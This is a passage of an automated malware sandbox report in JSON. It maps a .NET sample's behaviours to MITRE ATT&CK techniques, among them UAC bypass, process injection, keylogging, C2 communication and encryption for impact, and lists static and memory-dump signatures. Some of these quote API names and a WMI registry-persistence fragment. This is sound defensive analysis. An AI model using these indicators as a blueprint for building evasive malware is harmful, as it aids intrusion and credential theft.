explorer.exe process"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains reference to command shell related registry path"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify PowerShell execution policies (Powershell command string)"},{"type":"informative","value":"Found anti-virus related strings names"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Contains ability to perform CryptoStream operations (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Dotnet code contains potential unpacker"},{"type":"informative","value":"Contains ability to generate intermediate language instructions (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Can loads assembly that contains the code that is currently executing [Dotnet]"},{"type":"informative","value":"Contains ability to load module (Dotnet string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to perform symmetric decryption (Dotnet)"},{"type":"suspicious","value":"Contains ability to decrypt/decode data"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability execute applications in hidden mode (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"References registry location(s) potentially used by malware"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Hidden Users","attack_id":"T1564.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/002","identifiers":[{"type":"suspicious","value":"Contains ability to hide user accounts"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to modify volumes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"},{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"informative","value":"Contains ability to perform code compilation at runtime (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Credential Access","technique":"Network Sniffing","attack_id":"T1040","attack_id_wiki":"https://attack.mitre.org/techniques/T1040","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to gather process details (Dotnet)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current hardware profile (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to gather system environment details"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve security identifier details"},{"type":"informative","value":"Contains ability to retrieve user privileges"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to retrieve geographical location"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to retrieve list of TCP/UDP endpoints (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Local Groups","attack_id":"T1069.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve local groups information"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"informative","value":"Contains ability to retrieve network adapter information (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicates via socket (possible C&C communication)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"suspicious","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains ability to set the value of an HTTP request header"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"},{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate via sockets (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to perform symmetric crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability execute applications in hidden mode (Dotnet)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":1,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"System.IO.Compression.ZipFile\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"System.IO.Compression.ZipFileExtensions\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to generate intermediate language instructions (Dotnet)","description":"Observed namespace \"System.Reflection.Emit.DynamicMethod\" and TypeReference \"GetILGenerator\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-171","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"$28","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load module (Dotnet string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-252","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify PowerShell execution policies (Powershell command string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-341","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform code compilation at runtime (Dotnet)","description":"Observed namespace \"Microsoft.CSharp.CSharpCodeProvider\" and TypeReference \".ctor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027.004","relevance":1,"id":"static-174","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"wUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Reflection.Load\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"TransformFinalBlock\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"Microsoft.VisualBasic.CompilerServices\" and MemberReference \"LateCall\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003464.00000000.66478.00170000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000001.68400.00170000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000001.68400.00172000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000002.70319.00170000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000002.70319.00172000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000003.75826.00170000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - ume nextDo While TrueSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")oReg.GetStringValue &H80000001\n \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\n \"; Source: \"00000000-00003464.00000001.68400.00172000.00000020.mdmp\"), Found string - Set oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\"); Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp\n 00000000-00003464.00000001.68400.00172000.00000020.mdmp\n 00000000-00003464.00000002.70319.00172000.00000020.mdmp\n 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 